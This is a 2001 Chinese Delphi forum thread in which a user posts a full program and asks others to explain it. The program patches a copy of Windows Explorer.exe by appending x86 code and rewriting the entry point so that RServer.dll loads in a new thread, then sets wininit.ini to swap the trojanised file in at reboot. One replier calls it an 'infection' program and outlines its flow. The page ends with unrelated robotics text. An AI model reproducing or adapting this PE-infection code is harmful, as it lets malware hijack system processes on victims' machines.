源码讨论!!!!高手抢分!!菜鸟也可来学习学习!!!

HowardOK 2001-10-21 12:47:26
谁能为我详细地说明以下代码,100分就给谁!注意,这100分只给最好的一个人!!
本程序是在Explorer.exe中加入一小段代码。

program AddShell;

uses
windows,messages,sysutils,classes;
const CRLF=#13#10;
//;以下内容固定不变
FunctionName =0;
DllName =FunctionName+9;
WndClassName =DllName+13; //;[WndClassName]="RServer"
CodeBegin =WndClassName+$12;
//

type TImportTable=record
FunctionAddress,TimeDateStamp,ForwardLink,DllName,FunctionRaw:dword;
end;
type TObjectSectionInfo=record
VirtualSize,VirtualAddress,RawDataSize,RawDataAddress:dword;
end;
type TBaseInfo=record
EntryPoint,BaseCode,BaseData,ImageBase:dword;
end;
type TPeInfo=record
Base,TextObjectBase,DataObjectBase,Attrib:dword;
Bs:TBaseInfo;
BaseImport:dword;
Otext,Odata,OImport,OReloc:TObjectSectionInfo;
end;
var
windir:array[0..100] of char;
codebuf:array[0..$200] of byte; //数据据和代码缓冲区
PeFileHandle:integer;
// ts:tstrings;
Pe:TPeInfo;
cp:dword;
NewEntryPoint,NewJump:dword; //=1000h

procedure DwordtoByte(vard,vapd:dword);
begin
codebuf[cp+vapd]:=vard;
codebuf[cp+vapd+1]:=vard shr 8;
codebuf[cp+vapd+2]:=vard shr $10;
codebuf[cp+vapd+3]:=vard shr $18;
end;

procedure StrToByte(str:string;vapd:dword);
var k:integer;
begin
for k:=0 to length(str)-1 do
codebuf[vapd+k]:=byte(str[k+1]);
end;



function GetPeInformation:boolean;
var
varw:word;
vard,vald:dword;
ts:tstrings;
// Ip:TImportTable;
begin
result:=true;
ts:=tstringlist.create;
FileSeek(PeFileHandle,$18,0); //检测是否PE文件
FileRead(PeFileHandle,varw,2);
if(varw<>$40) then
begin
messagebox(0,'Not a PE File!!!',pchar(format('Info:%x',[varw])),0);
result:=false;
exit;
end;
ts.add(format('$18=$%x[PE File]',[varw]));
FileSeek(PeFileHandle,$3c,0); //取得PE头的位置
FileRead(PeFileHandle,vard,4);
Pe.Base:=vard;
ts.add(format('$3C=$%x[PE Begin]',[vard]));
FileSeek(PeFileHandle,vard,0); //取得PE标志
FileRead(PeFileHandle,vald,4);
if(vald<>$4550) then
begin
messagebox(0,'Not a PE File!!!',pchar(format('Info:%x',[vald])),0);
result:=false;
exit;
end;
ts.add(format('$%x=$%x[PE Signal]',[vard,vald]));
//读取EntryPoint,BaseCode,BaseData,ImageBase
vard:=Pe.Base+$28;
FileSeek(PeFileHandle,vard,0);
FileRead(PeFileHandle,Pe.Bs,$10);
ts.add(format('$%x=$%x[EntryPoint]',[vard,Pe.Bs.EntryPoint]));
ts.add(format('$%x=$%x[BaseCode]',[vard,Pe.Bs.BaseCode]));
//读取BaseImport
vard:=Pe.Base+$80;
FileSeek(PeFileHandle,vard,0);
FileRead(PeFileHandle,vald,4);
Pe.BaseImport:=vald;
ts.add(format('$%x=$%x[BaseImport]',[vard,vald]));
//
//读取.text
vard:=Pe.Base+$100;
while(true) do
begin
FileSeek(PeFileHandle,vard,0);
FileRead(PeFileHandle,Pe.Otext,$10);
if(Pe.Otext.VirtualAddress=Pe.Bs.BaseCode) then break;
inc(vard,$28);
end;
Pe.TextObjectBase:=vard;
ts.add(format('$%x=$%x[.text.VirtualSize]',[vard,Pe.Otext.VirtualSize]));
//读取.Import
vard:=Pe.Base+$100;
while(true) do
begin
FileSeek(PeFileHandle,vard,0);
FileRead(PeFileHandle,Pe.Oimport,$10);
if(Pe.BaseImport>=Pe.Oimport.VirtualAddress) and (Pe.BaseImport<=Pe.Oimport.VirtualAddress+Pe.Oimport.VirtualSize) then break;
inc(vard,$28);
end;
ts.add(format('$%x=$%x[Pe.BaseImport]',[vard,Pe.BaseImport]));
ts.free;
//
ts:=tstringlist.create;
ts.add('[rename]');
ts.add(strpas(windir)+'\Explorer.exe='+strpas(windir)+'\Explorer.new');
ts.add(strpas(windir)+'\RServer.dll='+strpas(windir)+'\RServer.new');
// ts.add(strpas(windir)+'\RControl.exe='+strpas(windir)+'\RControl.new');
ts.savetofile(strpas(windir)+'\'+'wininit.ini');
ts.free;
//
end;
//
function FindWin32Api(var CurrentPosition:dword;Win32ApiName:string):boolean;
var
varw:word;
vard,vald,vafd,vavd,vakd,ipdif:dword;
varpc:array[0..200] of char;
Ip:TImportTable;
begin
//寻找Win32 Api Import Address
result:=false;
vard:=Pe.Oimport.RawDataAddress; //取得Import的文件起始地址;
ipdif:=Pe.Oimport.VirtualAddress-Pe.Oimport.RawDataAddress;//计算内存地址和文件地址的差异
vard:=Pe.BaseImport-ipdif;
while(true) do
begin
FileSeek(PeFileHandle,vard,0);
FileRead(PeFileHandle,Ip,$14);
if(Ip.FunctionAddress=0) then break; //若Dll链结束,则退出Dll链循环
vald:=Ip.FunctionAddress-ipdif;
vakd:=Ip.FunctionRaw-ipdif;
while(true) do
begin
FileSeek(PeFileHandle,vald,0);
FileRead(PeFileHandle,vafd,$4);
if(vafd=0) then break; //若函数链结束,则退出函数链循环
vavd:=vafd-ipdif;
FileSeek(PeFileHandle,vavd,0);
FileRead(PeFileHandle,varw,2);//取得函数的Hint 序号
FileSeek(PeFileHandle,vavd+2,0);
FileRead(PeFileHandle,varpc,$20); //取得函数的名称
if strcomp(varpc,pchar(Win32ApiName))=0 then
begin
//翻译Call Dword ptr[Win32ApiName]
vavd:=vakd+ipdif+Pe.bs.ImageBase;
codebuf[cp]:=$ff;
codebuf[cp+1]:=$15;
DwordtoByte(vavd,2);
inc(cp,6);
result:=true;
exit;
end;
inc(vald,$4);
inc(vakd,$4);
end;
inc(vard,$14);
end;
end;

procedure asm32;
var k:integer;
vard:dword;
begin
GetPeInformation;
cp:=0;
for k:=0 to $200 do codebuf[k]:=0; //代码区清零
//
DwordtoByte($23e8,0); inc(cp,5); //call fn_5
//
StrToByte('run',FunctionName+cp);
StrToByte('RServer.dll',DllName+cp);
StrToByte('Progman',WndClassName+cp);
inc(cp,CodeBegin-5);
//
codebuf[cp]:=$5B; inc(cp,1); //pop ebx
DwordtoByte($29e8,0); inc(cp,5); //call fn_5
//
DwordtoByte($c5d8b,0); inc(cp,3); //mov ebx,[ebp+0ch]
DwordtoByte($9438d,0); inc(cp,3); //lea eax,[ebx+DllName]
codebuf[cp]:=$50; inc(cp,1); //push eax
FindWin32Api(cp,'LoadLibraryA'); //call dword ptr [LoadLibraryA]
DwordtoByte($c00b,0); inc(cp,2); //or eax,eax
DwordtoByte($1774,0); inc(cp,2); //jz loc_50
//
DwordtoByte($f88b,0); inc(cp,2); //mov edi,eax
codebuf[cp]:=$53; inc(cp,1); //push ebx ;[ebx+FunctionName]
codebuf[cp]:=$57; inc(cp,1); //push edi
FindWin32Api(cp,'GetProcAddress'); //call dword ptr [GetProcAddress]
DwordtoByte($c00b,0); inc(cp,2); //or eax,eax
DwordtoByte($274,0); inc(cp,2); //jz loc_46
//
DwordtoByte($d0ff,0); inc(cp,2); //call eax
//
codebuf[cp]:=$57; inc(cp,1); //push edi
FindWin32Api(cp,'FreeLibrary'); //call dword ptr [FreeLibrary]
codebuf[cp]:=$c3; inc(cp,1); //ret
//
codebuf[cp]:=$5f; inc(cp,1); //pop edi
DwordtoByte($6a,0); inc(cp,2); //push 0
DwordtoByte($16438d,0); inc(cp,3); //lea eax,[ebx+WndClassName]
codebuf[cp]:=$50; inc(cp,1); //push eax
FindWin32Api(cp,'FindWindowA'); //call dword ptr [FindWindowA]
DwordtoByte($c00b,0); inc(cp,2); //or eax,eax
DwordtoByte($1575,0); inc(cp,2); //jnz loc_7d
//
DwordtoByte($4ec83,0); inc(cp,3); //sub esp,4
codebuf[cp]:=$54; inc(cp,1); //push esp
DwordtoByte($6a,0); inc(cp,2); //push 0
codebuf[cp]:=$53; inc(cp,1); //push ebx
codebuf[cp]:=$57; inc(cp,1); //push edi
DwordtoByte($6a,0); inc(cp,2); //push 0
DwordtoByte($6a,0); inc(cp,2); //push 0
FindWin32Api(cp,'CreateThread'); //call dword ptr [CreateThread]
DwordtoByte($4c483,0); inc(cp,3); //add esp,4
//
codebuf[cp]:=$e9; inc(cp,1); //jmp OldEntryPoint
NewEntryPoint:=Pe.OText.VirtualSize+Pe.Otext.VirtualAddress;
NewJump:=Pe.Bs.EntryPoint-(NewEntryPoint+Cp+4);
DwordtoByte(NewJump,0); inc(cp,4); //

//修改PE中的信息
vard:=Pe.Base+$28; //新的入口点
FileSeek(PeFileHandle,vard,0);
FileWrite(PeFileHandle,NewEntryPoint,4);
vard:=Pe.TextObjectBase; //新的.text大小
FileSeek(PeFileHandle,vard,0);
vard:=Pe.Otext.VirtualSize+cp;
FileWrite(PeFileHandle,vard,4);
vard:=Pe.Otext.RawDataAddress+Pe.Otext.VirtualSize; //写codebuf
FileSeek(PeFileHandle,vard,0);
FileWrite(PeFileHandle,codebuf,cp);
end;


begin
if(GetWindowsDirectory(windir,100)<100) then
begin
if fileexists(strpas(windir)+'\Explorer.old')=false then copyfile(pchar(strpas(windir)+'\Explorer.exe'),pchar(strpas(windir)+'\Explorer.old'),false);
copyfile(pchar(strpas(windir)+'\Explorer.old'),pchar(strpas(windir)+'\Explorer.new'),false);
copyfile(pchar('RServer.dll'),pchar(strpas(windir)+'\RServer.new'),false);
// copyfile(pchar('RControl.exe'),pchar(strpas(windir)+'\RControl.exe'),false);
PeFileHandle:=FileOpen(strpas(windir)+'\Explorer.new', fmOpenReadWrite or fmShareDenyNone);
if(PeFileHandle<>-1) then asm32
else MessageBox(0,'PE File Not Found!!!','error',0);
FileClose(PeFileHandle);
messagebox(0,'Pach for:'+CRLF+CRLF+'Windows 95 OSR2'+CRLF+'Windows 98 Second Edition'+CRLF+'Windows 2000 Professional'+CRLF+CRLF+'OK,Pach compelete!!!','hotsky.363.net',0);
end else messagebox(0,'error,can''t found Windows Directory,current pach isn''t compelete!!!','error',0);
end.

...全文
211 19 打赏 收藏 转发到动态 举报
写回复
用AI写文章
19 条回复
切换为时间正序
请发表友善的回复…
发表回复
HowardOK 2001-10-23
  • 打赏
  • 举报
回复
100分也没有人要呀?
Tense 2001-10-22
  • 打赏
  • 举报
回复
PE方面的东东。
其他的不能说太多。
Nizvoo 2001-10-22
  • 打赏
  • 举报
回复
我不要分。
HowardOK 2001-10-22
  • 打赏
  • 举报
回复
我只是想弄清楚它实现的过程,最好是每一行代码写一行中文说明!!!
与我联系:fenken@21cn.com
renrsh 2001-10-22
  • 打赏
  • 举报
回复
什么东西!?
HowardOK 2001-10-22
  • 打赏
  • 举报
回复
就帮一下吧!
weixiaohua 2001-10-21
  • 打赏
  • 举报
回复
看不懂
spar8086 2001-10-21
  • 打赏
  • 举报
回复
gz
BeachLife 2001-10-21
  • 打赏
  • 举报
回复
要实现什么功能呀
guipei 2001-10-21
  • 打赏
  • 举报
回复
gz
Only_I 2001-10-21
  • 打赏
  • 举报
回复
.
_菜菜 2001-10-21
  • 打赏
  • 举报
回复
gz
qkl 2001-10-21
  • 打赏
  • 举报
回复
这是一段“捣蛋”的程序:
大体流程是,将 explorer.exe 改名成 explorer.new 并修改其数据(因为 explorer.exe 是没法在 windows 打开的情况下修改的),它修改 explorer 的入口,在新的入口中先 FindWindow("RServer") 找到后建立新 thread 然后跳入旧入口运行,新 thread 用于加载 RServer.dll 然后运行 dll 中的 run 入口函数。
具体的“感染”过程你要了解 PE 文件。
我不会因为分数向你讲太多。

BTW: 该程序方法没有特点,程序设计也不好。
torble 2001-10-21
  • 打赏
  • 举报
回复
学习
TechnoFantasy 2001-10-21
  • 打赏
  • 举报
回复
好像是将 RServer.dll 中的一个函数附在explorer中。具体的不懂。
l_walker 2001-10-21
  • 打赏
  • 举报
回复
学习
happy243 2001-10-21
  • 打赏
  • 举报
回复
学习~~~~~
cobi 2001-10-21
  • 打赏
  • 举报
回复
来者有分吧,既然说是学习
HowardOK 2001-10-21
  • 打赏
  • 举报
回复
高分呀,快来吧!!
博乐—机器人表演 机器人演出的开拓者 www.boole-tech.com 1 DIY 机器人 第一课 制作机器人的基础 在论坛上经常可以看到有人说:"我是菜鸟,制作机器人需要什么基础?"。其 实我可以回答大家:"基础就是你首先要学好数理化",怎么样很意外吧!现在 我来给大家讲讲为什么这么说。机器人制作综合性很强,它涉及机械制造、计 算机、电子技术等很多领域,每一个领域都是以我们的数理化为基础的,还有就 是要充分利用互联网的资源自我学习。 以下是我在论坛发过的一篇贴子,希望大家用心体会。 高手的秘诀 1.不要看到别人的回复第一句话就说:给个代码吧!你应该想想为什么。当你自己想 出来 再参考别人的提示,你就知道自己和别人思路的差异。 2.别小家子气,买本书几十块都舍不得,你还学个 P。为了省钱看电子书,浪费的时间绝对 超过书的价值。当然如果查资料,只能看 PDF。 3.学习新的开发软件时,一定要看帮助手册。买的书不够全面。刚接触一个软件,什么都不 懂,就盲目的问东问西,让人看起来很幼稚。 4.不要蜻蜓点水,得过且过,细微之处往往体现实力。 5.把时髦的技术挂在嘴边,还不如把过时的技术记在心里。 6.看得懂的书,请仔细看;看不懂的书,请硬着头皮看。 博乐—机器人表演 机器人演出的开拓者 www.boole-tech.com 2 .别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍。 7.多实践,去焊板子、调试,去写去调,只用软件模拟,是永远成不了高手的。 8.保存好你做过的所有的源程序、PCB、原理图等----那是你最好的积累之一。 9.对于网络,还是希望大家能多利用一下,很多问题不是非要到论坛来问的, 首先你要学会 自己找答案,比如 google、百度都是很好的搜索引擎,你只要输入关键字就 能找到很多相 关资料,别老是等待别人给你希望,看的出你平时一定也很懒! 10 到一个论坛,你学会去看以前的帖子,不要什么都不看就发帖子问,也许你的问题早就 有人问过了,你再问,别人已经不想再重复了, 做为初学者,谁也不希望自己的帖子没人回 的。 11,虽然不是打击初学者,但是这句话还是要说:论坛论坛,就是大家讨论的地方,如果 你 总期望有高手总无偿指点你,除非他是你亲戚!! 讨论者, 起码是水平相当的才有讨论的说 法,如果水平真差距太远了,连基本操作都需要别人给解答,谁还跟你讨论呢。 什么样的人是浮躁的人? 浮躁的人容易问:我到底该学什么; ----踏踏实实的学点基本的吧?单片机不知道是什么就想去学 ARM? c 语言不会想搞 LINUX?别老是好高骛远。 浮躁的人容易问:谁有 xxx 源码?--(你给人家多少钱啊?自己的劳动白送你?) 浮躁的人容易说:跪求 xxx ---(就算网络也要点尊严吧?) 浮躁的人容易说:紧急求救---(其实只是个简单的课程设计) 浮躁的人容易说:有没有 xxx 中文资料?---一个字:懒。别说别的。E 文不行?谁不是 博乐—机器人表演 机器人演出的开拓者 www.boole-tech.com 3 从 ABC 学起的啊? 浮躁的人容易说:求 xxx,我的 email 是 xxx@xxx.com,然后消失 ---- 你以为你是大爷啊, 人 家请你吃饭,还要喂到你口里不成? 浮躁的人容易问:做单片机有钱途吗----只是为了钱,搞不好技术的,你去抢银行好了。 浮躁的人容易说:哪里有 xxx 芯片资料?(其实大部分资料网络上都有,但是偏偏来找人 问,懒!) 浮躁的人分两种:只观望而不学的人;只学而不坚持的人; 浮躁的人永远不是一个高手。 lamp 看完后明白了吧,恭喜!你已经迈出了第一步。 第一课就到这里,下课接着讲。 _________________ 第二课 机器人的组成 机器人一般是由以下模块组成: 1.语音模块 用于语音对话、语音控制。 2.灯光表达模块 用于机器人状态显示、感情表达(喜、怒、哀、乐) 3.控制模块 I/O+决策,即机器人的大脑,其控制能力及 AI 由编程者的水平决定。 博乐—机器人表演 机器人演出的开拓者 www.boole-tech.com 4 4.传感器模块 对外界环境的的感知。 5.电源模块 为机器人提供能源,常用有 3v、5v、6v、9v、12v。 6.减速电机 常用于机器人行走驱动,根据需要选择变比。 7.驱动模块 机器人的执行机构,常选用行模中的舵机。 8.视频模块 机器人的眼 9.机械模块 10.无线通讯模块 11.控制软件 一个简单的机器人是由单片机电路、红外传感器、减速电机+程序这是大多数人 认同的,但是我要向大家说这种认识是错误的,真正的机器人不是几片单机和 几台电脑就可以解决,关键就是'机器人'中这个'人'字,还需要我们一代代 的努力。 以上讲的有点简单,先写出。 --

5,386

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧